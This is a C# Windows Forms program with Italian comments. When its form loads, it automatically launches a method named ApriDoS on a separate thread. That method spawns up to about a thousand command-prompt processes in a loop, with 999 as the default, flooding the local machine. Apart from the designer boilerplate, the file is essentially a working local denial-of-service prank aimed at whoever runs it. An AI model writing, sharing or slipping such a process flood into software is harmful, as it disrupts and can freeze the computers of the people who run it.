using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace WindowsApplication6
{
/// <summary>
/// Descrizione di riepilogo per Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.NumericUpDown n;
/// <summary>
/// Variabile di progettazione necessaria.
/// </summary>
private System.ComponentModel.Container components = null;
public Form1()
{
//
// Necessario per il supporto di Progettazione Windows Form
//
InitializeComponent();
//
// TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
//
}
/// <summary>
/// Pulire le risorse in uso.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
void ApriDoS()
{
for(int i = 0;i<n.Value;i++)
{
Process.Start("cmd.exe","start");
}
}
#region Codice generato da Progettazione Windows Form
/// <summary>
/// Metodo necessario per il supporto della finestra di progettazione. Non modificare
/// il contenuto del metodo con l'editor di codice.
/// </summary>
private void InitializeComponent()
{
this.
n = new System.
Windows.
Forms.
NumericUpDown();
((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
this.SuspendLayout();
//
// n
//
this.
n.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.n.ForeColor = System.Drawing.Color.Black;
this.
n.
Location = new System.Drawing.
Point(152, 32
);
this.
n.
Maximum = new System.
Decimal(new int[] {
1000,
0,
0,
0});
this.n.Name = "n";
this.
n.
Size = new System.Drawing.
Size(88, 26
);
this.n.TabIndex = 1;
this.
n.
Value = new System.
Decimal(new int[] {
999,
0,
0,
0});
//
// Form1
//
this.
AutoScaleBaseSize = new System.Drawing.
Size(5, 13
);
this.
ClientSize = new System.Drawing.
Size(144, 78
);
this.Controls.Add(this.n);
this.Name = "Form1";
this.Text = "Form1";
this.
Load += new System.
EventHandler(this.
Form1_Load);
((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// Il punto di ingresso principale dell'applicazione.
/// </summary>
[STAThread]
static void Main()
{
Application.
Run(new Form1
());
}
private void Form1_Load(object sender, System.EventArgs e)
{
Thread t
= new Thread
(new ThreadStart
(ApriDoS
));
t.Start();
}
}
}